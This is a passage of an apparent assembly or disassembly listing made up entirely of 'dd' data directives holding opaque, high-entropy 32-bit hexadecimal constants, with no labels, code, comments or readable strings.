7FC013C0h, 0D109E2EBh, 4D94F64Fh, 7B582727h, 55F54E5Bh dd 0EFD116D0h, 0E15E8C04h, 0E6A229ABh, 429530D8h, 0FDC7ABA2h dd 3C3EF9E1h, 234A5081h, 33A2ECBFh, 0FDE114FBh, 0E8C2B9BFh dd 3EF09981h, 0D259207Fh, 0E2EA8100h, 8974B15Eh, 40CA90D5h dd 0B40DB95Ch, 0C03CA029h, 812CA763h, 9EA2C93Ah, 0C561F8Ch dd 0F56D3A62h, 0F60DB92h, 40812983h, 9AEE14FCh, 58E71CC4h dd 0FABEBA50h, 760B672Dh, 0DEBF7AF2h, 2F2D5033h, 1FA83FE1h dd 31BBB4h, 0E2105D4Bh, 93266822h, 0E4005534h, 31EF67F7h dd 0AE917D1h, 0CD6CBEA0h, 847A27E9h, 5E72B268h, 1FEB7DC2h dd 33C0550Bh, 520288F3h, 8B0F167Fh, 0F5CC4A46h, 8916B9ECh dd 0C6B856F2h, 350D521Dh, 0E0C7520Ch, 77419639h, 6285CA09h dd 0B229310Ch, 20B94CA9h, 0EC882C33h, 49E71D60h, 96575BFEh dd 39F7FE65h, 803A595Ah, 266041A5h, 0D1B75BD9h, 456DC267h dd 4044B2F7h, 2546EBDCh, 0E17751FDh, 16B8CE40h, 7F6A7200h dd 402CD81h, 0F261F92Fh, 7BAE255Eh, 59D72B18h, 6636E24h dd 0F154022Dh, 220F4EFEh, 80EE3B09h, 10223A28h, 0CD28057Fh dd 4D2AD729h, 0F37FC033h, 0D381B12h, 6B86C80Eh, 0E38400CFh dd 0BD984D7Dh, 232C3D00h, 0DD98686Eh, 214A43B0h, 0A6B34585h dd 8C20913h, 0AC1D087Ah, 262EC48Dh, 957EBCECh, 589C3120h dd 0C0DC5414h, 814FB1ECh, 463A3169h, 60F18EF0h, 57C21962h dd 4D63B90Bh, 10D07630h, 7BB58C53h, 574E887Eh, 0F4B36CEFh dd 0C9810F9Dh, 0FD120252h, 48D820BEh, 2E27AD35h, 3224138h dd 0A726132Bh, 5E664C7Fh, 0BAD708A2h, 4090D99Dh, 135F3B11h dd 28E50AEBh, 10AAB27Ah, 3C738089h, 0D21370E3h, 888B471Fh dd 0A2F827EFh, 0B4F57585h, 0C11E5A5Eh, 20DF017Ah, 7595D9AAh dd 68421390h, 5D4F482h, 0F80A8312h, 8FB93A53h, 853D7745h dd 50CAB3B7h, 7EA6CD4Eh, 5B7858A3h, 6828FF23h, 81669759h dd 0B90C3498h, 187FDD34h, 0B80F139Ch, 4420BA6Fh, 4F17A003h dd 6BBB89A5h, 82E496A9h, 8B6C2FCFh, 7D15CC25h, 1CFA7C14h dd 9EF9B36Dh, 58C7F42Fh, 21BA15FAh, 0B57CBEA2h, 0B3058F38h dd 364AC60Ch, 68510336h, 3082757Ah, 0B890D87Dh, 81404596h dd 2F1626EFh, 54EA0EE4h, 0A0E90802h, 0BBAA826Bh, 75078955h dd 0FCBFEC14h, 20E851BBh, 0E89D6E91h, 824F77ECh, 103C3F68h dd 90DFF780h, 0C529777h, 5B94F390h, 46015F27h, 2FF03023h dd 680B99E6h, 94D77A89h, 6AE9129Bh, 59C8FEF3h, 32954B68h dd 0DECA5055h, 4EE3F85Fh, 0E443135Bh, 316941DCh, 30ED5D40h dd 254980A0h, 7CC82794h, 0A1BBC09Ah, 6600B420h, 0D5BD821h dd 1740389Ch, 4351E92Fh, 6C015A31h, 0E76BB310h, 93890F09h dd 0F28016E0h, 243C8A4Ch, 5C660948h, 58D0488Ah, 0CB809F76h dd 1F1E65C6h, 201C426Fh, 0E92C9597h, 2985B717h, 44B3AF58h dd 7DDC0969h, 2646953Bh, 0BC5512EEh, 8884F2ABh, 526E272Bh dd 9295C0BDh, 63F70D71h, 252C4F5Fh, 0D8292AECh, 0D269E63Eh dd 60E4FAA8h, 0F51A37A7h, 0C3817D01h, 820AE5CDh, 18CC2E82h dd 69FC4D33h, 0E93F08A0h, 9D7627Eh, 44550B0Fh, 3C7F97A9h dd 8CC05D7Ah, 0D3D80F5Bh, 0E96FCEA4h, 299ED34Eh, 4464FE4Eh dd 0F2312300h, 0A53D48E9h, 3F531FB6h, 38E87525h, 0F639BEB1h dd 0C0D914D1h, 0E14A73AFh, 0A40CB9BCh, 8826CE28h, 42A0DD4Bh dd 1CF6F0EEh, 0BCDE30D3h, 0E6C008E1h, 0D2896E05h, 0A326BA7Ch dd 0E93704CFh, 6909BA0Dh, 0C8D97D59h, 9230FA58h, 0B4CA504Fh dd 0E5174AA3h, 0B45F4192h, 49D2076Ch, 9FCFF227h, 0D656FAB2h dd 0E9545560h, 0D52BE73Bh, 0E862BFA6h, 0D1105FC7h, 0E2BF1BE9h dd 9DE5D548h, 44177E25h, 0DFBBEC5Ah, 0E9499C16h, 96E3DD05h dd 87EF50D1h, 0A3E6814h, 98A35A16h, 311D4F70h, 89D3FDE2h dd 0F72A652Bh, 0DB4A9AB1h, 5BDAE312h, 3AC26E07h, 61C84E62h dd 0FE0428D8h, 1C77EE82h, 6CC28016h, 5F14A7B0h, 0C6ECE886h dd 5A7102E8h, 31F388FDh, 0E5045E45h, 1514CBFFh, 5A54598Ch dd 45ED41FBh, 6B3F8F0Fh, 0CCAA1316h, 0B79448BCh, 89F18A00h dd 77205EFh, 3519D10Ah, 36B3528Dh, 0BF937455h, 0BA100480h dd 2DD80117h, 5E5D07A2h, 0FA28FA2Eh, 36E9E109h, 932D290Dh dd 0E85A15E8h, 954F592h, 2A39131Eh, 65856BA9h, 6199EA67h dd 0BE1C702h, 0A6CFE575h, 470F1B71h, 733573FFh, 80170E7Ah dd 78F3E388h, 0D64B4C10h, 32EAEA04h, 0D2B25202h, 0FED4EA80h dd 792FE9CAh, 0F1C24416h, 0D33F1BFDh, 0E0C1959Fh, 29E32F94h dd 174D571Fh, 0F206BB42h, 2D8EEFD1h, 6344F949h, 0F6EC12C9h dd 7AB12432h, 52C3F457h, 25254C5Dh, 0C6EC21D8h, 41B25180h dd 0A0D459Fh, 63A9651Dh, 83D05752h, 0F8BFC47Ah, 0FFC9E36h dd 0CD16F201h, 6430F927h, 98995D6Dh, 16780569h, 7E0502D0h dd 37AE241Fh, 0F807A02Ah, 0AD59121Ah, 3A4A0F64h, 0AC686AE1h dd 76316E12h, 35E5692Ah, 0AC2C243Ah, 1FBE85F5h, 0AC0E165Eh dd 8BEF123Ch, 86651212h, 34BA6F91h, 3868742Fh, 0F12D68B8h dd 0F4A14C61h, 37534B85h, 0C7730071h, 5F122549h, 0AD01D472h dd 3701756Ch, 0E0D1042Fh, 93C7FA08h, 0EBE248D1h, 26E98034h dd 8D427CF8h, 6FAB6CD6h, 92AD2E56h, 83327E05h, 2EE4C078h dd 0F16875Eh, 4F8459E9h, 4AF2708Ch, 1798FAA6h, 8B989ED2h dd 516649A8h, 0CF6D1302h, 0D483E902h, 0E7BE013Ch, 0EB44645Dh dd 5E7C809Ah, 0D90F77A5h, 0FE0E4D64h, 612A48D9h, 5D62FD9Ah dd 19E92A97h, 45755A8Bh, 2EC62FE0h, 0A84F205h, 0C0BB4250h dd 3B357EF5h, 1071E918h, 4852F847h, 0ED13C288h, 0C631BEACh dd 0D2CCD62h, 64020CB2h, 76E69471h, 2F008CE9h, 552B613h dd 1365348Dh, 0F5820F3Eh, 0BFA87A36h, 0F95FD0C6h, 0B313A42Ah dd 9F31030Fh, 7D80B232h, 0B216778Ah, 0A592209Bh, 671D16C4h dd 0A573C445h, 0B7850182h, 82DE285Bh, 0D725EE68h, 0AD80D696h dd 3927191Dh, 32B57A47h, 16577DA6h, 0C4BFA7C8h, 4F357717h dd 225614EEh, 0C655B500h, 3DBB5312h, 6CD22802h, 0DFF593E9h dd 0B32687A2h, 5468BA00h, 0AA314A79h, 506A18D1h, 0AF027C72h dd 313F891Ch, 97DD7C77h, 0B873C814h, 883B3900h, 1E8A2D43h dd 0D590A2FFh, 2D6A7232h dd 4C82F955h, 71496821h, 0C3E909F3h, 0D4C95D0Ch, 270FBE6Ch dd 557D62EBh, 249E7F3h, 4A096DAEh, 0B44B619Ah, 227B6800h dd 0D14D61C5h, 0B50A77ABh, 21029189h, 6AFC7AD0h, 8887E8F1h dd 909BE8Fh, 0F55C4BB5h, 866FA63Fh, 8E905FA8h, 2F30AD20h dd 2F80FB4h, 25CC073h, 0D51F1617h, 0BF2D3A91h, 13640CA6h dd 8892A047h, 207EE15Ch, 0FED89D4Ah, 13626725h, 505FFAAEh dd 38B905D7h, 0FB29C366h, 67E09341h, 0C9D97D4Fh, 7C1E63D8h dd 0CCE10345h, 0C10E370Dh, 594BB2B6h, 4B2952EEh, 5CF25530h dd 92B4501Eh, 39C3A553h, 820E2CB0h, 0DDF7829Fh, 5140EE87h dd 38138601h, 0E2EB29BCh, 0F031840Ch, 9D06ADAFh, 7716D7AFh dd 0A1DFA62Ah, 2A5ED177h, 542833C0h, 66021724h, 0F7D7AE5Ah dd 6AC58081h, 425DB17Ah, 0B558C003h, 38DAB83Dh, 0C7218B5Ch dd 4871D858h, 0B896B2C9h, 16EC646Ch, 2475C009h, 95F8FF57h dd 5EC5FE19h, 4DE92BC1h, 810FE909h, 0EBFBB820h, 0D8B5071Fh dd 14FD81FFh, 0CAD75D02h, 4FFF40C5h, 0FA244E2Fh, 34084510h dd 0B0AF0E5Ah, 0FC9F58A5h, 0C1E9D9A7h, 0F1F7C248h, 0C57C161Ah dd 84E6AF11h, 46F78009h, 54D967Dh, 0CFEA06BAh, 12F4E820h dd 0EE959EC8h, 40289404h, 0E3790845h, 460905E9h, 86F15BE0h dd 9005EBCCh, 60514153h, 1B123607h, 0B1AA6D4Fh, 810805F1h dd 24A49D2Dh, 8632698h, 89D8C133h, 0C02FE4AAh, 5C3C73AEh dd 0D0CF2922h, 0C153D111h, 14BFCF84h, 7CF50368h, 436297Fh dd 0F0F7700Ch, 4385BBCCh, 1B4A771Dh, 0C10FB158h, 1F5147B3h dd 0E116F1C3h, 5E3040D0h, 3A0B06B9h, 2AC129B4h, 119AEA07h dd 779B45ECh, 6185D082h, 9501CE75h, 9235967Fh, 171802DEh dd 0D5683ACBh, 0BED698D7h, 0E67247Eh, 95C60000h, 5682B5FDh dd 902669Eh, 6070271Fh, 0B75D9002h, 0C2C13792h, 0DDCC7B42h dd 93D16984h, 360D3D50h, 0E8D9290Bh, 495B0801h, 0D215E700h dd 992D3204h, 2982C667h, 95DFD0F3h, 6864907Fh, 303A5AA1h dd 9146FBAAh, 9A594B28h, 6C5EB60Ch, 12030C3Eh, 826FC74h dd 79A5BFA2h, 0BC2A3DE9h, 0CCB80FBh, 38402C20h, 0C83A0888h dd 0DA0B3F26h, 59C6DCAFh, 0B084285Bh, 9EA5A7E9h, 5C5254EAh dd 6B8304B6h, 92AF5870h, 0A4C12EF6h, 4B767091h, 16767713h dd 2D026DA8h, 42A572C8h, 12642DFh, 2AB1E907h, 0E8F17581h dd 701C9F53h, 0F7806604h, 0BEA590D9h, 80324E2h, 5A043554h dd 8BAA0B88h, 64BE5E76h, 0D2B3A692h, 1A30F6BAh, 5D5E0685h dd 795AE55Eh, 8E6089Fh, 0FCE78C2Dh, 546B17CCh, 0B00ABE7Ch dd 0C3408C6h, 5ABD92AFh, 13CFC7D6h, 4909E7A1h, 0A201C37Dh dd 0C780D7F6h, 5CF82B51h, 0CAE93F05h, 0CDCC4039h, 738A53AEh dd 2E56E9F7h, 3ED54941h, 0B9384D1Bh, 6E5C512Fh, 0E2816640h dd 260A4F64h, 0B8F87A76h, 6850D205h, 5AC2986h, 0F2BD0E9Fh dd 45ED3818h, 0CD0A1361h, 0C5002D4Ah, 3B887C1Fh, 0B4C280DFh dd 137417Fh, 1B3810EAh, 0E9F0125Dh, 59B58DE3h, 0B1A69Ah dd 0D407E09h, 992777B7h, 51C85F71h, 8E260F47h, 7DAFFD6Dh dd 0B46F93B8h, 7FDD4FCBh, 5DEFE3B0h, 75B57B0h, 0EBE471BCh dd 76EE15A1h, 0F0782746h, 4AE30641h, 5758C203h, 1387F355h dd 3EC19D51h, 58893EBDh, 5D250C7Eh, 0E106383Ah, 4C495F9Ah dd 0F2051A27h, 43D2572Fh, 5F8C0F09h, 8B76DC47h, 447E4EE6h dd 0C014C647h, 16E7EA80h, 43375CBEh, 8961EE06h, 5D010C01h dd 0E92EBB7Fh, 946F41C2h, 6A178002h, 3B50E66Eh, 0F60AFDEAh dd 88893D9Eh, 0A410E90Bh, 59C4C1AFh, 4E9F43C1h, 250F3EA8h dd 0A7D30922h, 2C1314ADh, 0C77BD55h, 9B644E8Ah, 2AF26C13h dd 56D74F04h, 92DEE904h, 0BC814E35h, 3BFD8907h, 21D603F8h dd 3C144897h, 86568910h, 97A75EDEh, 4E5CA84Ah, 52A8DE27h dd 0AFB97155h, 657FBA09h, 298388AAh, 65125F17h, 4EA09h dd 9853D138h, 1478952Fh, 1613BF3Eh, 0AC003C20h, 67CE228Dh dd 0B2EE54E9h, 4680052h, 5A5691F6h, 2FFDD331h, 0EF017294h dd 998AEF4Dh, 0C5ACD02Eh, 15281F88h, 46B5CF7Bh, 92492070h dd 46295933h, 7FE8BC6Eh, 7D5869F2h, 0BF954BDh, 35A2384Bh dd 37767493h, 5D64E066h, 8D803F2Bh, 0E925D057h, 0D90D2F50h dd 0A4C99EC0h, 0ED339E56h, 2C4AF9FCh, 2FB156Ah, 6F3D5D42h dd 5EC6EA82h, 893AD375h, 0E2F16996h, 0E419AF8Bh, 7DAB0BCDh dd 0A4F472DDh, 0E1AC0720h, 23056590h, 314CB075h, 49EB9716h dd 46025DB8h, 0FCCC6BE6h, 3659A200h, 8B0F4643h, 1125F75Ch dd 0F12F5F31h, 56CD2BA5h, 16FEB97Fh, 0AE6740F3h, 0BDE82D94h dd 23A93505h, 59C706BCh, 0EF03BF5Ah, 348D12E4h, 0BC4B401h dd 925D0809h, 0A6545F03h, 0B4FBC351h, 0B404E209h, 5B7BFD3h dd 0F9405756h, 0BE568012h, 2536205Ch, 46C9DD33h, 68CFD05Ch dd 0D9106026h, 2D0AC569h, 0A880387Fh, 0E908E140h, 0FC06DF27h dd 74195152h, 0F164A1Eh, 98AC1B85h, 0E538FB4Eh, 5B4701BEh dd 0ADE91E07h, 1C5B3255h, 0DD2F64FEh, 89978B1Eh, 0D77DA6Fh dd 1D175831h, 0D1EC2B0Ch, 167EF84Eh, 1B347422h, 6260B458h dd 3B14896Dh, 0BD0217F6h, 23FE5683h, 765DB340h, 5F6FFC2Ch dd 252E2904h, 9BDD5BFh, 6CA3F917h, 0B101F6E9h, 1206E781h dd 0FA407133h, 48ADDB31h, 0D43A8446h, 2961320Bh, 0C1AB85h dd 0BA525F08h, 231E33EBh, 0F0DBE9EDh, 0F830D0DBh, 21D52F82h dd 6861AB71h, 307A756Ch, 2C6ADA41h, 0CA315604h, 12EB0FE9h dd 0D33DBF5Bh, 0B9C8EC6Eh, 901D83Ah, 0AA505443h, 0FA04FD60h dd 0AB9650F8h, 0EB80C9D5h, 44391DCFh, 864FE9B0h, 9D58E80Ch dd 26F3B751h, 0CA605913h, 97FDF5E9h, 733B5F48h, 0B29B28Bh dd 0BE911055h, 0BC679D6Eh, 0F129163Fh, 0FC2B7B4h, 198D4A71h dd 3160B98Bh, 230B9FBFh, 0F1536F97h, 2D5B0014h, 63FA393Eh dd 5C82914h, 32E90907h, 0F30FA797h, 7A20CC72h, 0F580ACCh dd 174C500Dh, 31E5C13Eh, 0AAF855F9h, 0C2FAAE94h, 89FF4377h dd 27C57D42h, 0E8D06B12h, 3B227BF6h, 0CE000B4Fh, 2D1E3EBBh dd 0D19772E9h, 1579208h, 0DE2F4963h, 65E37030h, 4CEB4282h dd 0A0E6E67Eh, 0B1EF1CEh, 84E94F92h, 0FE774142h, 6E547925h dd 5AA5DC61h, 2D4E2C7Bh, 6B6E091Ch, 57D801C4h, 4EBE60BAh dd 60F3376h, 1CE150BFh, 0B8A929D6h, 0EE050B02h, 0F8DD2D43h dd 0F8012F9Ch, 2B4B1FF8h, 0FB7AD41h, 0BAECC191h, 8924B715h dd 0FFACAB1Ch, 133EA8D2h, 95A801F4h, 9846AAA5h, 28F5E44Dh dd 4AFC9C51h, 0C0ECFD58h, 3B31CAB8h, 2D78B75Fh, 68E98D61h dd 5D692E7Fh, 9457BD25h, 795C616Dh, 7C1DEC68h, 75E9C41Ch dd 0FE2F07B1h, 4C49EC1Eh, 3F1064E3h, 0D7B1F7BFh, 39FC2A74h dd 0C7C500AEh, 31D648FBh, 0B2CFFCEAh, 7FB63B33h, 0EA966693h dd 6425E2Ah, 0B07FE912h, 0F20BBA2Dh, 6034CE41h, 5F7E6869h dd 4317CC1Bh, 85EB1F48h, 4EA3417h, 0CA73BD3h, 1350185Ch dd 0A1430B61h, 0C9D5E640h, 3D79D90h, 2D94CD9Bh, 0F5B1340Ch dd 3D1170B6h, 770A7F90h, 0F314350Fh, 961A3B01h, 41DB290Dh dd 1CA0081Ch, 2D5D7E14h, 16551CE8h, 35199DE8h, 54878B33h dd 97C3EE58h, 0F7ED46B0h, 1F097E06h, 8128D501h, 66415A08h dd 0B34A3219h, 0CE68004Bh, 74882515h, 7A0E8398h, 64053231h dd 64815EF1h, 212B2EB7h, 0BEED891Ah, 97FB130Eh, 9C7377B7h dd 77E2A5B9h, 852C4F5Dh dd 0BB523FE9h, 40F7B0D8h, 0E639805Fh, 0C2CE97F2h, 84BEC00Ah dd 0BD6F689h, 8B43E046h, 403413D3h, 58B60441h, 257C466Eh dd 384A009Fh, 43762E44h, 225830Fh, 0C8FE31FAh, 5006552Ch dd 4A55D28Bh, 7BF16B2Ah, 0D531AF2Dh, 7ECD51B8h, 595A0BB2h dd 0ACAD49D4h, 56B25209h, 0EAB9827Fh, 2DB08CFh, 78320882h dd 22D5E462h, 0C5D9017Ch, 7AE98497h, 6708F438h, 8703E49Eh dd 4CD5F7EFh, 0D3078608h, 6F3FD652h, 4348DA81h, 2E5B6175h dd 0A22518E6h, 6B5FF242h, 285CC8DEh, 36759FFFh, 0E1B05B2Ah dd 60A27F5Fh, 5FE6558Fh, 9CB00C28h, 0B545B431h, 520003C1h dd 83076851h, 5901E528h, 2BC98071h, 0E0CFF1CCh, 3E08F4CAh dd 0C4255AD4h, 0E2588FFDh, 0E0D02ACDh, 9E78992Ch, 4A6A89F1h dd 7E4747D1h, 57550CD8h, 0ECCB20Ah, 4F2E9242h, 84D2ADA9h dd 0B302B766h, 0D1DD57DAh, 0A8494559h, 5B5D2E43h, 1A59F7E2h dd 2A00028Fh, 632D3E73h, 330A7200h, 1B364735h, 37E91262h dd 0DBB0460Ch, 3CA0064Bh, 0E9809033h, 9791B215h, 0C20095DAh dd 0F5DCF7Ah, 0BFE35780h, 145EA9BEh, 0BFF16CD3h, 0B9200885h dd 588CB9h, 0BB5323CEh, 10F5AA11h, 0B03F5297h, 930C4AB2h dd 0D1B9DDEBh, 15D36A93h, 0F7F316DFh, 0EADE00D6h, 0F4CC30Ah dd 0E8B78C73h, 806C631Ch, 0E74F8057h, 5EA06FB0h, 79F3A31Dh dd 2F093340h, 0C2E25FF8h, 35656055h, 6B441655h, 5880FA76h dd 2F563FBBh, 84570FE3h, 0F1BBEF4Ch, 5B2622F8h, 0E9C277E9h dd 0B0E8AA9Bh, 845F1586h, 8BF0EBF8h, 18BD53DFh, 80F98F1Fh dd 0C603F580h, 0E828A42Ch, 0C9E5A704h, 975C66B0h, 0DCFC04C8h dd 0B940EFD2h, 0BF2D6348h, 166517F4h, 25A30906h, 0C8DD07EAh dd 9EB81F9h, 676F6408h, 8A067FEh, 0E961FA91h, 0CC7BE697h dd 0E0F45226h, 4C5ECC4Bh, 7D2A5ECBh, 8A07A24Dh, 0E98152DDh dd 0ED292278h, 8C53A505h, 5554C04Eh, 0DF126AB4h, 83A028E9h dd 52045B01h, 1EC5FA23h, 3C90EC1Eh, 0E418954Dh, 8F580E27h dd 74DA045Eh, 0AED3645Eh, 2768B4C8h, 72F9494Dh, 524122B8h dd 5EB02834h, 306065E9h, 7C68530Ch, 3EFA250Fh, 79C065E0h dd 0C131D509h, 85F507EBh, 0B05739BDh, 0F30768B0h, 4E66B0F8h dd 782FF201h, 162AB820h, 54A1705h, 74C2299Bh, 9F98BE47h dd 3FB3497Eh, 3F69840Ch, 0C72D8022h, 9E4CC0DEh, 0FEB9D328h dd 0D00F8832h, 0B493EAD2h, 315E079Bh, 0FA70D4CFh, 79AA6916h dd 401ADA8Dh, 251E2742h, 0EB75471Ch, 6C0B622Ah, 819E09FCh dd 69441529h, 888BFE25h, 581C372Bh, 8968C30Eh, 0B57A987Dh dd 972AF49Bh, 501CEDC6h, 0BB31CAE9h, 6130DEF5h, 0C1450C4Eh dd 2D1405EDh, 53436D13h, 65CC6D04h, 3D4CE902h, 5A17C079h dd 637C6100h, 4101459Ch, 0AE0804CDh, 0E98278F8h, 0C6F5675Eh dd 80523037h, 3B8FC281h, 0CA8342FFh, 0B09087h, 18E959A6h dd 47B3A59Fh, 40BCAA01h, 0C930B3Ah, 5156016Bh, 2EF986E9h dd 90A90A56h, 0F495BF9Fh, 0FB4E9063h, 0C403F7D5h, 76EE0FBFh dd 7F121458h, 8C1A832Bh, 0CE554189h, 0D24B300Ch, 5DBF3448h dd 6E0088BEh, 56420B01h, 5E8476BEh, 0E5B4B06Dh, 0DF08E139h dd 0D4639FF8h, 72C83861h, 0E698D0F7h, 0D1AB454Bh, 8AD3018Bh dd 0CAF11BC8h, 58E76440h, 584AF6FAh, 50CBE67Eh, 40419902h dd 0E2328E0Fh, 0EBFEFA7Bh, 633E8053h, 77ACA061h, 1AA805C5h dd 0E2244BE9h, 374C33h, 382D4099h, 93B41BDh, 0CD312AA0h dd 0EC60AF10h, 0D41430DAh, 0DDF75009h, 85206E98h, 0D9E93772h dd 91356780h, 6070A617h, 2E12F7B0h, 0B9D00907h, 50B826ABh dd 5E77A76Fh, 2D898CE6h, 0F993D342h, 0D88813D3h, 1CE9D490h dd 759EAA9Dh, 1250CCCh, 0DEC6F5CBh, 0F1AA4025h, 515D8960h dd 89894CF9h, 92C1FDC1h, 107CF629h, 314C79A8h, 8F8117E6h dd 0CBA5B677h, 0E73F4FA1h, 41FE4B57h, 3D449E6Ch, 0DFB16B79h dd 0A6C5FA28h, 0E89513F9h, 83161038h, 7B8D2D02h, 0C85D0A8Ah dd 0A87736DCh, 947F05ADh, 785E8741h, 0AB649F30h, 0FA9CAB9Ch dd 3EE13C1h, 80DAFE53h, 0AC8EE90Bh, 303B1675h, 0BA169B07h dd 883D4913h, 3E2272Dh, 0BFC1801Bh, 7F5FF107h, 0C9FE5A07h dd 4F1BE1B3h, 0B0EAB80Ah, 452888B7h, 8FB06BF9h, 347597C3h dd 99E91A70h, 0F907704Fh, 2FCF82F0h, 0A40235Dh, 5DB2D18Fh dd 0F7ED072Bh, 0DCA5CED1h, 6D4DF47Bh, 0E4EC163Eh, 0F5943118h dd 18EE36FEh, 85911424h, 4A0ED19Ah, 0ED3641AAh, 7C77D13Ah dd 850BD930h, 0CA6CA99Eh, 1F046481h, 684AD3Bh, 571B63A7h dd 0B6A080Ch, 90266D9h, 0FF24E81Ch, 80DD7CAh, 0CA14170Ch dd 0E6E90A20h, 9BB9B80h, 0F2D55382h, 695CEADFh, 9C5679F1h dd 61049804h, 8ACA57FAh, 0AE90BFEh, 2023EE23h, 0FB20048Bh dd 0DD11A22Dh, 0CD66378h, 0E96FC0EBh, 2A9FAC53h, 0DF02974Ah dd 0E15F2A59h, 0A26B5A6Dh, 0DCBF808Dh, 0BFF7B7DAh, 0DDE05643h dd 7590EFE9h, 271ADBB5h, 0B417C4DEh, 0E235D640h, 985C651Ch dd 58209261h, 0ED2D2229h, 0CE68DD5h, 26F2A86Eh, 0D75A4559h dd 0D4C0E78Ch, 10B91A16h, 4C829417h, 2EF4F8ADh, 1383D6Bh dd 85FE0EEh, 10AF3A29h, 0E91D08C1h, 0BB34F056h, 0A0D4211h dd 4EBD138h, 786A903Eh, 0F15AFD6Fh, 1F1E28ABh, 20D57641h dd 0C05FDC24h, 0FA105D7Ch, 0F7504D62h, 0FC97948Ah, 0C7B604Ah dd 0DAFE5F51h, 0B5781C98h, 0F6AC994Bh, 6D214305h, 0DF338079h dd 376ED513h, 0D038A318h, 0A60C0403h, 84FC9051h, 0FB5F9577h dd 87A4D2A6h, 5D27080Ah, 0FFA5883h, 0F94B0E99h, 3182292h dd 5D1736CEh, 0E1F6B242h, 0A0BB5032h, 4E8CC901h, 71F02998h dd 2EF16F8Dh, 0B67443F5h, 4B54208Fh, 13FB7497h, 0C76AAC06h dd 0E820F588h, 95A39BE9h, 46E4B6C4h, 0B1260C1h, 0B02E5EA4h dd 782468EFh, 0E7897566h, 0F7D0AB62h, 0BF455C2Fh, 5038F257h dd 2002E61h, 7D353493h, 2F764E20h, 4B8583E9h, 8E52BD49h dd 82642943h, 644DCDB2h, 1217CBDh, 0EAC1717Dh, 70E2D102h dd 9128E1Bh, 2AEADBEh, 6BCEE9D0h, 929CABDCh, 0FCBEACEh dd 0DD24DCD0h, 53513400h, 0E7B5BCB7h, 857A3A61h, 1317CF4Dh dd 3D8471E9h, 50E95ACDh, 0EB0F943Ah, 0E72716B6h, 0A8F6AF48h dd 384FB717h, 1F32EA4h, 46294571h, 8903E6C1h, 0C04DE918h dd 0FB0BED5h, 31513876h, 0D421ABB2h, 45DDD2F6h, 0C5D042EAh dd 6CCF0889h, 18BBE90Fh, 2480EB7Bh, 0CC5180Dh, 49B552FBh dd 0E1A8944Ah, 917F2DC1h, 64AE3E20h, 0A50C1753h, 0CCED2F44h dd 0D304C7D0h, 8402E17Bh, 0C0C4029Ch, 0D8C04C42h, 31806046h dd 985D73EFh, 95E4F838h, 0ED7E98FDh, 76818262h, 30460C9Bh dd 26B9F7Ch, 68165716h, 9FF19948h, 88BE1E52h, 0EC4BB167h dd 2367DE90h, 81440FB2h, 0C15E40E5h, 4C820F3Fh, 0B4FC3B53h dd 68F630A1h, 0A15F8955h, 52D688AFh, 0E9E02C3Bh, 7D3AAF25h dd 4A964AEEh, 8CB53C2h, 1DB60D88h, 0AEC97F7Bh, 0E13B89ECh dd 0B7ABA82Eh, 5E2B37F2h, 31CF87C6h, 0FF4F547Fh, 2D495314h dd 3CC27193h, 0E258A10h, 12570D68h, 17A98FBFh, 4BA466C9h dd 0AE631EECh, 0DD97CBF1h, 0DE5BA4DAh, 0AAF716FFh, 27012638h dd 8AF65FFEh, 0F0E8E962h, 0CA515F42h, 7425E7Dh, 0FE3DAA68h dd 0FAF2520Dh, 5C81CDF6h, 0F512FE42h, 0EFD4F302h, 978F409h dd 32572793h, 2F807E00h, 18B91FB0h, 6880209Ch, 292B3C62h dd 73D0975Bh, 2C6C9AA1h dd 61FA4BA6h, 21FDF494h, 94E92FB2h, 0C0EEBF80h, 3134019Ah dd 58C2E5FBh, 0C6A6A050h, 62BA782Dh, 383A4611h, 0E4C673D7h dd 154D0FAh, 0C9BD2DF0h, 90715E5Bh, 0D83A04DDh, 905BC65Ch dd 0B42D67AEh, 0B6E9947Ch, 38985B6Fh, 0A82C5B50h, 0EBC0B481h dd 0E442669Ch, 0D8F54E29h, 4D5D34F2h, 935E28CAh, 9741E016h dd 0FEB0500h, 9E1F700Dh, 0D008A0CEh, 0F85F14F0h, 0ACF84FCFh dd 4AF0F85h, 2C92E8h, 800AE5B8h, 0D79AB00Eh, 0DBBFE0CEh dd 0FBE7CCA8h, 183D0707h, 12DFDFF7h, 6858B6C0h, 994C4BD6h dd 89BC7C5Dh, 0C4B3754Dh, 81FABED1h, 2EB9E355h, 5317C6Fh dd 685BDB40h, 0A3D39DF8h, 0D87B1A00h, 0FABE5611h, 0E8BF0B01h dd 9551F531h, 5D008048h, 2750642Dh, 10509D56h, 5C120783h dd 0C7332923h, 386CC957h, 0D2419988h, 4D45A2Fh, 6F0722F2h dd 0D4D7BB12h, 0EC126C44h, 541D131Bh, 83EA1856h, 8BD95E1Ah dd 3B8A34D9h, 5E5EF348h, 89A703BBh, 1D1C6664h, 0D5250AFBh dd 0AAF5569Bh, 5FB6EAF4h, 68BFD036h, 39B47587h, 6317FE65h dd 7EB9AF87h, 0C2097202h, 0E9BFB875h, 863B60F0h, 460AD5B9h dd 0CD01AB16h, 43A89A73h, 0D30B22EBh, 0C54533Eh, 1D143402h dd 7628F70Dh, 3E9A2508h, 0E985AD5Ch, 45E4A26Dh, 6E1B09C3h dd 0F07729C4h, 410882FCh, 912E64D3h, 791D49A0h, 55899EE4h dd 3628229Fh, 28422263h, 4F0AB800h, 9C2F588Ah, 0D695B85Eh dd 0E93CCCFDh, 0BA5D134Eh, 0FB94B18Ah, 0B9FD4C25h, 9DF7D1FBh dd 0C92C5E91h, 4B0FD77Fh, 0B1742E04h, 1C8BCC98h, 0F8BFFCB5h dd 0D6030E2Dh, 0F404821h, 0BDA3B68Eh, 6F202A72h, 18AEC13Ah dd 80289869h, 6252140Ch, 0B0EE293Eh, 5DF118D9h, 0E5F31C91h dd 167E0F73h, 20DDD497h, 0D85D481Dh, 0B3312B12h, 0ACDA182Ah dd 0E47EB65h, 13BED55h, 0E01312D7h, 9CC4412Dh, 2CBB07E7h dd 8009592Dh, 75574DE1h, 7F0FE45Ah, 0A19DB151h, 0C1FE54C9h dd 7D3B92D7h, 0D9313487h, 6F005977h, 0ED628FC9h, 451B8BDEh dd 2338E129h, 1273D7C2h, 7DC8E509h, 79B2BE9Bh, 0C4A602F6h dd 55AFFB26h, 3E58172Ah, 0ABA62814h, 9D82EA93h, 0A7034559h dd 6812EEC6h, 55CD51D4h, 0A2772BAFh, 7527256Fh, 1857DD1Ah dd 806D162Eh, 5F5AF901h, 0C3E6C0A8h, 4E078525h, 0BD55000Eh dd 65964AC5h, 